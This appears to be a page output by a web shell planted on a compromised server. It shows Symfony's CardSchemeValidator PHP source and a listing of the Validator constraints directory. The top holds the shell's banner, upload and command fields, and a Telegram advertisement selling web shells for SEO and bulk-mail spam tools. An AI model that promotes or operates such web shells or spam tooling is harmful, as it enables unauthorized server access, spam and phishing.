__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <[email protected]>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Validator\Constraints;

use Symfony\Component\Validator\Constraint;
use Symfony\Component\Validator\ConstraintValidator;
use Symfony\Component\Validator\Exception\UnexpectedTypeException;

/**
 * Validates that a card number belongs to a specified scheme.
 *
 * @author Tim Nagel <[email protected]>
 * @author Bernhard Schussek <[email protected]>
 *
 * @see https://en.wikipedia.org/wiki/Payment_card_number
 * @see https://www.regular-expressions.info/creditcard.html
 */
class CardSchemeValidator extends ConstraintValidator
{
    protected $schemes = [
        // American Express card numbers start with 34 or 37 and have 15 digits.
        CardScheme::AMEX => [
            '/^3[47][0-9]{13}$/D',
        ],
        // China UnionPay cards start with 62 and have between 16 and 19 digits.
        // Please note that these cards do not follow Luhn Algorithm as a checksum.
        CardScheme::CHINA_UNIONPAY => [
            '/^62[0-9]{14,17}$/D',
        ],
        // Diners Club card numbers begin with 300 through 305, 36 or 38. All have 14 digits.
        // There are Diners Club cards that begin with 5 and have 16 digits.
        // These are a joint venture between Diners Club and MasterCard, and should be processed like a MasterCard.
        CardScheme::DINERS => [
            '/^3(?:0[0-5]|[68][0-9])[0-9]{11}$/D',
        ],
        // Discover card numbers begin with 6011, 622126 through 622925, 644 through 649 or 65.
        // All have 16 digits.
        CardScheme::DISCOVER => [
            '/^6011[0-9]{12}$/D',
            '/^64[4-9][0-9]{13}$/D',
            '/^65[0-9]{14}$/D',
            '/^622(12[6-9]|1[3-9][0-9]|[2-8][0-9][0-9]|91[0-9]|92[0-5])[0-9]{10}$/D',
        ],
        // InstaPayment cards begin with 637 through 639 and have 16 digits.
        CardScheme::INSTAPAYMENT => [
            '/^63[7-9][0-9]{13}$/D',
        ],
        // JCB cards beginning with 2131 or 1800 have 15 digits.
        // JCB cards beginning with 35 have 16 digits.
        CardScheme::JCB => [
            '/^(?:2131|1800|35[0-9]{3})[0-9]{11}$/D',
        ],
        // Laser cards begin with either 6304, 6706, 6709 or 6771 and have between 16 and 19 digits.
        CardScheme::LASER => [
            '/^(6304|670[69]|6771)[0-9]{12,15}$/D',
        ],
        // Maestro international cards begin with 675900..675999 and have between 12 and 19 digits.
        // Maestro UK cards begin with either 500000..509999 or 560000..699999 and have between 12 and 19 digits.
        CardScheme::MAESTRO => [
            '/^(6759[0-9]{2})[0-9]{6,13}$/D',
            '/^(50[0-9]{4})[0-9]{6,13}$/D',
            '/^5[6-9][0-9]{10,17}$/D',
            '/^6[0-9]{11,18}$/D',
        ],
        // All MasterCard numbers start with the numbers 51 through 55. All have 16 digits.
        // October 2016 MasterCard numbers can also start with 222100 through 272099.
        CardScheme::MASTERCARD => [
            '/^5[1-5][0-9]{14}$/D',
            '/^2(22[1-9][0-9]{12}|2[3-9][0-9]{13}|[3-6][0-9]{14}|7[0-1][0-9]{13}|720[0-9]{12})$/D',
        ],
        // Payment system MIR numbers start with 220, then 1 digit from 0 to 4, then between 12 and 15 digits
        CardScheme::MIR => [
            '/^220[0-4][0-9]{12,15}$/D',
        ],
        // All UATP card numbers start with a 1 and have a length of 15 digits.
        CardScheme::UATP => [
            '/^1[0-9]{14}$/D',
        ],
        // All Visa card numbers start with a 4 and have a length of 13, 16, or 19 digits.
        CardScheme::VISA => [
            '/^4([0-9]{12}|[0-9]{15}|[0-9]{18})$/D',
        ],
    ];

    /**
     * Validates a creditcard belongs to a specified scheme.
     *
     * @return void
     */
    public function validate(mixed $value, Constraint $constraint)
    {
        if (!$constraint instanceof CardScheme) {
            throw new UnexpectedTypeException($constraint, CardScheme::class);
        }

        if (null === $value || '' === $value) {
            return;
        }

        if (!is_numeric($value)) {
            $this->context->buildViolation($constraint->message)
                ->setParameter('{{ value }}', $this->formatValue($value))
                ->setCode(CardScheme::NOT_NUMERIC_ERROR)
                ->addViolation();

            return;
        }

        $schemes = array_flip((array) $constraint->schemes);
        $schemeRegexes = array_intersect_key($this->schemes, $schemes);

        foreach ($schemeRegexes as $regexes) {
            foreach ($regexes as $regex) {
                if (preg_match($regex, $value)) {
                    return;
                }
            }
        }

        $this->context->buildViolation($constraint->message)
            ->setParameter('{{ value }}', $this->formatValue($value))
            ->setCode(CardScheme::INVALID_FORMAT_ERROR)
            ->addViolation();
    }
}

Filemanager

Name Type Size Permission Actions
AbstractComparison.php File 2.19 KB 0664
AbstractComparisonValidator.php File 4.1 KB 0664
All.php File 1.02 KB 0664
AllValidator.php File 1.31 KB 0664
AtLeastOneOf.php File 1.93 KB 0664
AtLeastOneOfValidator.php File 2.54 KB 0664
Bic.php File 3.29 KB 0664
BicValidator.php File 6.13 KB 0664
Blank.php File 1.19 KB 0664
BlankValidator.php File 1.07 KB 0664
Callback.php File 1.58 KB 0664
CallbackValidator.php File 2.09 KB 0664
CardScheme.php File 2.3 KB 0664
CardSchemeValidator.php File 5.01 KB 0664
Cascade.php File 1.34 KB 0664
Choice.php File 3.12 KB 0664
ChoiceValidator.php File 4.37 KB 0664
Cidr.php File 2.78 KB 0664
CidrValidator.php File 2.32 KB 0664
Collection.php File 3.7 KB 0664
CollectionValidator.php File 3.37 KB 0664
Composite.php File 5.45 KB 0664
Compound.php File 1.39 KB 0664
CompoundValidator.php File 1002 B 0664
Count.php File 3.5 KB 0664
CountValidator.php File 2.8 KB 0664
Country.php File 1.64 KB 0664
CountryValidator.php File 1.55 KB 0664
CssColor.php File 3.7 KB 0664
CssColorValidator.php File 5.36 KB 0664
Currency.php File 1.56 KB 0664
CurrencyValidator.php File 1.54 KB 0664
Date.php File 1.33 KB 0664
DateTime.php File 1.8 KB 0664
DateTimeValidator.php File 2.71 KB 0664
DateValidator.php File 2.12 KB 0664
DisableAutoMapping.php File 1.27 KB 0664
DivisibleBy.php File 956 B 0664
DivisibleByValidator.php File 1.52 KB 0664
Email.php File 3.45 KB 0664
EmailValidator.php File 4.8 KB 0664
EnableAutoMapping.php File 1.27 KB 0664
EqualTo.php File 999 B 0664
EqualToValidator.php File 723 B 0664
Existence.php File 612 B 0664
Expression.php File 2.65 KB 0664
ExpressionLanguageProvider.php File 1.09 KB 0664
ExpressionLanguageSyntax.php File 1.84 KB 0664
ExpressionLanguageSyntaxValidator.php File 2.37 KB 0664
ExpressionSyntax.php File 1.44 KB 0664
ExpressionSyntaxValidator.php File 1.92 KB 0664
ExpressionValidator.php File 2.05 KB 0664
File.php File 7.84 KB 0664
FileValidator.php File 11.92 KB 0664
GreaterThan.php File 1001 B 0664
GreaterThanOrEqual.php File 1020 B 0664
GreaterThanOrEqualValidator.php File 795 B 0664
GreaterThanValidator.php File 767 B 0664
GroupSequence.php File 2.62 KB 0664
GroupSequenceProvider.php File 790 B 0664
Hostname.php File 1.37 KB 0664
HostnameValidator.php File 2.03 KB 0664
Iban.php File 1.92 KB 0664
IbanValidator.php File 12.93 KB 0664
IdenticalTo.php File 1.02 KB 0664
IdenticalToValidator.php File 741 B 0664
Image.php File 9.88 KB 0664
ImageValidator.php File 9.18 KB 0664
Ip.php File 3.32 KB 0664
IpValidator.php File 2.48 KB 0664
IsFalse.php File 1.19 KB 0664
IsFalseValidator.php File 1.12 KB 0664
IsNull.php File 1.19 KB 0664
IsNullValidator.php File 1.05 KB 0664
IsTrue.php File 1.19 KB 0664
IsTrueValidator.php File 1.11 KB 0664
Isbn.php File 2.78 KB 0664
IsbnValidator.php File 5.55 KB 0664
Isin.php File 1.65 KB 0664
IsinValidator.php File 2.46 KB 0664
Issn.php File 2.24 KB 0664
IssnValidator.php File 4.07 KB 0664
Json.php File 1.19 KB 0664
JsonValidator.php File 1.37 KB 0664
Language.php File 1.65 KB 0664
LanguageValidator.php File 1.55 KB 0664
Length.php File 4.65 KB 0664
LengthValidator.php File 3.73 KB 0664
LessThan.php File 998 B 0664
LessThanOrEqual.php File 1017 B 0664
LessThanOrEqualValidator.php File 787 B 0664
LessThanValidator.php File 759 B 0664
Locale.php File 1.66 KB 0664
LocaleValidator.php File 1.64 KB 0664
Luhn.php File 1.55 KB 0664
LuhnValidator.php File 3.15 KB 0664
Negative.php File 653 B 0664
NegativeOrZero.php File 681 B 0664
NoSuspiciousCharacters.php File 4.61 KB 0664
NoSuspiciousCharactersValidator.php File 4.17 KB 0664
NotBlank.php File 1.8 KB 0664
NotBlankValidator.php File 1.36 KB 0664
NotCompromisedPassword.php File 1.63 KB 0664
NotCompromisedPasswordValidator.php File 3.58 KB 0664
NotEqualTo.php File 1003 B 0664
NotEqualToValidator.php File 734 B 0664
NotIdenticalTo.php File 1.02 KB 0664
NotIdenticalToValidator.php File 749 B 0664
NotNull.php File 1.19 KB 0664
NotNullValidator.php File 1.06 KB 0664
Optional.php File 431 B 0664
PasswordStrength.php File 1.79 KB 0664
PasswordStrengthValidator.php File 3.06 KB 0664
Positive.php File 656 B 0664
PositiveOrZero.php File 684 B 0664
Range.php File 4.74 KB 0664
RangeValidator.php File 7.22 KB 0664
Regex.php File 3.92 KB 0664
RegexValidator.php File 1.71 KB 0664
Required.php File 431 B 0664
Sequentially.php File 1.35 KB 0664
SequentiallyValidator.php File 1.18 KB 0664
Time.php File 1.5 KB 0664
TimeValidator.php File 2.21 KB 0664
Timezone.php File 3.24 KB 0664
TimezoneValidator.php File 3.76 KB 0664
Traverse.php File 1.1 KB 0664
Type.php File 1.6 KB 0664
TypeValidator.php File 2.92 KB 0664
Ulid.php File 1.56 KB 0664
UlidValidator.php File 2.37 KB 0664
Unique.php File 1.96 KB 0664
UniqueValidator.php File 2.46 KB 0664
Url.php File 1.97 KB 0664
UrlValidator.php File 5.02 KB 0664
Uuid.php File 3.93 KB 0664
UuidValidator.php File 8.51 KB 0664
Valid.php File 1.29 KB 0664
ValidValidator.php File 1.02 KB 0664
When.php File 2.29 KB 0664
WhenValidator.php File 1.72 KB 0664
ZeroComparisonConstraintTrait.php File 1.23 KB 0664
Filemanager